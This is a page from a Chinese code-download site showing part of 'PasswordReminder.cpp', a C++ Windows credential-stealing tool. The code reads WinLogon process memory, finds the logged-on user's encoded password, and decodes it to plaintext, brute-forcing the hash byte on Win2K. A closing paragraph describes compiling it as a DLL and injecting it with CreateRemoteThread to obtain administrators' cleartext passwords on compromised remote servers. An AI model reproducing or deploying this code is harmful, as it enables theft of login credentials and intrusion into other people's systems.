⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 read it.txt

📁 PasswordReminder希望能通过 急需贵站的资源做题目
💻 TXT
📖 第 1 页 / 共 2 页
字号:
   pfnRtlDestroyQueryDebugBuffer 
    (DebugBufferP);
   HeapFree 
   (GetProcessHeap (),
   0,
   InfoP);
   return (rc);
  }
  }
  if (DebugBufferP)
  pfnRtlDestroyQueryDebugBuffer 
   (DebugBufferP);
 }
 DWORD dw = (DWORD) QuerySystemInformationP;
 dw += sizeof (QUERY_SYSTEM_INFORMATION);
 QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
 }
 HeapFree 
 (GetProcessHeap (),
 0,
 InfoP);
 return (rc);
} // FindWinLogon
//
// LocatePasswordPageWinNT函数用来在NT中找到用户密码
//
BOOL 
 LocatePasswordPageWinNT 
 (DWORD WinLogonPID, 
 PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WINNT 0x200
#define USER_PASSWORD_OFFSET_WINNT 0x400
 BOOL rc = FALSE;
 HANDLE WinLogonHandle =
 OpenProcess 
  (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
  FALSE, 
  WinLogonPID);
 if (WinLogonHandle == 0)
 return (rc);
 *PasswordLength = 0;
 SYSTEM_INFO SystemInfo;
 GetSystemInfo 
 (&SystemInfo);
 DWORD PEB = 0x7ffdf000; 
 DWORD BytesCopied = 0;
 PVOID PEBP = 
 HeapAlloc
  (GetProcessHeap (),
  HEAP_ZERO_MEMORY,
  SystemInfo.dwPageSize);
 if (!ReadProcessMemory
  (WinLogonHandle,
  (PVOID) PEB,
  PEBP,
  SystemInfo.dwPageSize,
  &BytesCopied))
 {
 CloseHandle 
  (WinLogonHandle);
 return (rc);
 }
 // Grab the value of the 2nd DWORD in the TEB.
 PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
 MEMORY_BASIC_INFORMATION MemoryBasicInformation;
 if (VirtualQueryEx
  (WinLogonHandle,
  (PVOID) *WinLogonHeap,
  &MemoryBasicInformation,
  sizeof (MEMORY_BASIC_INFORMATION)))
 if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
  &&
  ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
 {
  PVOID WinLogonMemP = 
  HeapAlloc
   (GetProcessHeap (),
   HEAP_ZERO_MEMORY,
   MemoryBasicInformation.RegionSize);
  if (ReadProcessMemory
   (WinLogonHandle,
   (PVOID) *WinLogonHeap,
   WinLogonMemP,
   MemoryBasicInformation.RegionSize,
   &BytesCopied))
  {
  DWORD i = (DWORD) WinLogonMemP;
  DWORD UserNamePos = 0;
  // The order in memory is UserName followed by the UserDomain.
  // 在内存中搜索UserName和UserDomain字符串
  do
  {
   if ((wcscmp (UserName, (wchar_t *) i) == 0)
    &&
   (wcscmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
   {
   UserNamePos = i;
   break;
   }
   i += 2;
  } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);
  if (UserNamePos)
  {
   PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
   (PENCODED_PASSWORD_INFO) 
    ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
   FILETIME LocalFileTime;
   SYSTEMTIME SystemTime;
   if (FileTimeToLocalFileTime
   (&EncodedPasswordInfoP->LoggedOn,
   &LocalFileTime))
   if (FileTimeToSystemTime
    (&LocalFileTime,
    &SystemTime))
    printf 
    ("You logged on at %d/%d/%d %d:%d:%d\n",
    SystemTime.wMonth,
    SystemTime.wDay,
    SystemTime.wYear,
    SystemTime.wHour,
    SystemTime.wMinute,
    SystemTime.wSecond);
   *PasswordLength = 
   (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
   // NT就是好,hash-byte直接放在编码中:)
   HashByte = 
   (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
   RealPasswordP = 
   (PVOID) (*WinLogonHeap + 
    (UserNamePos - (DWORD) WinLogonMemP) + 
    USER_PASSWORD_OFFSET_WINNT + 0x34);
   PasswordP = 
   (PVOID) ((PBYTE) (UserNamePos + 
    USER_PASSWORD_OFFSET_WINNT + 0x34));
   rc = TRUE;
  }
  }
 }
 HeapFree
 (GetProcessHeap (),
 0,
 PEBP);
 CloseHandle 
 (WinLogonHandle);
 return (rc);
} // LocatePasswordPageWinNT

//
// LocatePasswordPageWin2K函数用来在Win2K中找到用户密码
//
BOOL 
 LocatePasswordPageWin2K 
 (DWORD WinLogonPID, 
 PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WIN2K 0x400
#define USER_PASSWORD_OFFSET_WIN2K 0x800
 HANDLE WinLogonHandle =
 OpenProcess 
  (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
  FALSE, 
  WinLogonPID);
 if (WinLogonHandle == 0)
 return (FALSE);
 *PasswordLength = 0;
 SYSTEM_INFO SystemInfo;
 GetSystemInfo 
 (&SystemInfo);
 DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
 DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
 DWORD Increment = SystemInfo.dwPageSize;
 MEMORY_BASIC_INFORMATION MemoryBasicInformation;
 while (i < MaxMemory)
 {
 if (VirtualQueryEx
  (WinLogonHandle,
  (PVOID) i,
  &MemoryBasicInformation,
  sizeof (MEMORY_BASIC_INFORMATION)))
 {
  Increment = MemoryBasicInformation.RegionSize;
  if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
   &&
  ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
  {
  PVOID RealStartingAddressP =
   HeapAlloc 
   (GetProcessHeap (),
   HEAP_ZERO_MEMORY,
   MemoryBasicInformation.RegionSize);
  DWORD BytesCopied = 0;
  if (ReadProcessMemory
   (WinLogonHandle,
   (PVOID) i,
   RealStartingAddressP,
   MemoryBasicInformation.RegionSize,
   &BytesCopied))
  {
   // 在WinLogon的内存空间中寻找UserName和DomainName的字符串
   if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
    &&
   (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
   {
   RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
   PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
   // Calculate the length of encoded unicode string.
   // 计算出密文的长度
   PBYTE p = (PBYTE) PasswordP;
   DWORD Loc = (DWORD) p;
   DWORD Len = 0;
   if ((*p == 0)
    &&
    (* (PBYTE) ((DWORD) p + 1) == 0))
    ;
   else
    do
    {
    Len++;
    Loc += 2;
    p = (PBYTE) Loc;
    } while 
    (*p != 0);
   *PasswordLength = Len;
   CloseHandle 
    (WinLogonHandle);
   return (TRUE);
   }
  }
  HeapFree 
   (GetProcessHeap (),
   0,
   RealStartingAddressP);
  }
 }
 else
  Increment = SystemInfo.dwPageSize;
 // Move to next memory block.
 i += Increment;
 }
 CloseHandle 
 (WinLogonHandle);
 return (FALSE);
} // LocatePasswordPageWin2K

//
// DisplayPasswordWinNT函数用来在NT中解码用户密码
//
void 
 DisplayPasswordWinNT 
 (void)
{
 UNICODE_STRING EncodedString;
 EncodedString.Length = 
 (WORD) PasswordLength * sizeof (wchar_t);
 EncodedString.MaximumLength = 
 ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
 EncodedString.Buffer = 
 (PWSTR) HeapAlloc
  (GetProcessHeap (),
  HEAP_ZERO_MEMORY,
  EncodedString.MaximumLength);
 CopyMemory 
 (EncodedString.Buffer, 
 PasswordP, 
 PasswordLength * sizeof (wchar_t));
 // Finally - decode the password.
 // Note that only one call is required since the hash-byte
 // was part of the orginally encoded string.
 // 在NT中,hash-byte是包含在编码中的
 // 因此只需要直接调用函数解码就可以了
 pfnRtlRunDecodeUnicodeString 
 ((BYTE) HashByte, 
 &EncodedString);
 printf 
 ("The logon information is: %S/%S/%S.\n", 
 UserDomain, 
 UserName, 
 EncodedString.Buffer);
 printf 
 ("The hash byte is: 0x%2.2x.\n", 
 HashByte);
 HeapFree
 (GetProcessHeap (),
 0,
 EncodedString.Buffer);
} // DisplayPasswordWinNT
//
// DisplayPasswordWin2K函数用来在Win2K中解码用户密码
//
void 
 DisplayPasswordWin2K 
 (void)
{
 DWORD i, Hash = 0;
 UNICODE_STRING EncodedString;
 EncodedString.Length = 
 (USHORT) PasswordLength * sizeof (wchar_t);
 EncodedString.MaximumLength = 
 ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
 EncodedString.Buffer =
 (PWSTR) HeapAlloc 
  (GetProcessHeap (),
  HEAP_ZERO_MEMORY,
  EncodedString.MaximumLength);
 // This is a brute force technique since the hash-byte
 // is not stored as part of the encoded string - :>(.
 // 因为在Win2K中hash-byte并不存放在编码中
 // 所以在这里进行的是暴力破解
 // 下面的循环中i就是hash-byte
 // 我们将i从0x00到0xff分别对密文进行解密
 // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的
 // 这个算法实际上是从概率角度来解码的
 // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小
 for (i = 0; i <= 0xff; i++) 
 {
 CopyMemory 
  (EncodedString.Buffer, 
  PasswordP, 
  PasswordLength * sizeof (wchar_t));
 // Finally - try to decode the password.
 // 使用i作为hash-byte对密文进行解码
 pfnRtlRunDecodeUnicodeString 
  ((BYTE) i, 
  &EncodedString);
 // Check for a viewable password.
 // 检查解码出的密码是否完全由可见字符组成
 // 如果是则认为是正确的解码
 PBYTE p = (PBYTE) EncodedString.Buffer;
 BOOL Viewable = TRUE;
 DWORD j, k;
 for (j = 0; (j < PasswordLength) && Viewable; j++)
 {
  if ((*p)
   &&
  (* (PBYTE)(DWORD (p) + 1) == 0))
  {
  if (*p < 0x20)
   Viewable = FALSE;
  if (*p > 0x7e)
   Viewable = FALSE;
  //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了
  }
  else
  Viewable = FALSE;
  k = DWORD (p);
  k++; k++;
  p = (PBYTE) k;
 }
 if (Viewable)
 {
  printf 
  ("The logon information is: %S/%S/%S.\n", 
  UserDomain, 
  UserName, 
  EncodedString.Buffer);
  printf 
  ("The hash byte is: 0x%2.2x.\n", 
  i);
 }
 }
 HeapFree 
 (GetProcessHeap (),
 0,
 EncodedString.Buffer);
} // DisplayPasswordWin2K
// end PasswordReminder.cpp
 
就该段代码的应用意义来说,并不是很大,因为只能获得本人的密码,但是实际上,如果加上远程DLL技术,我们可以获得任何通过MSGINA.dll登录的用户的明文密码,实现方法如下:将PasswordReminder编译为DLL,使用CreateRemoteThread()将该DLL嵌入已登录用户的进程,这时获得的密码就是该用户的密码。在我们使用Telnet或者rootshell登录到远程服务器的时候,使用这样的工具,就可以得到console系统管理员密码。

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -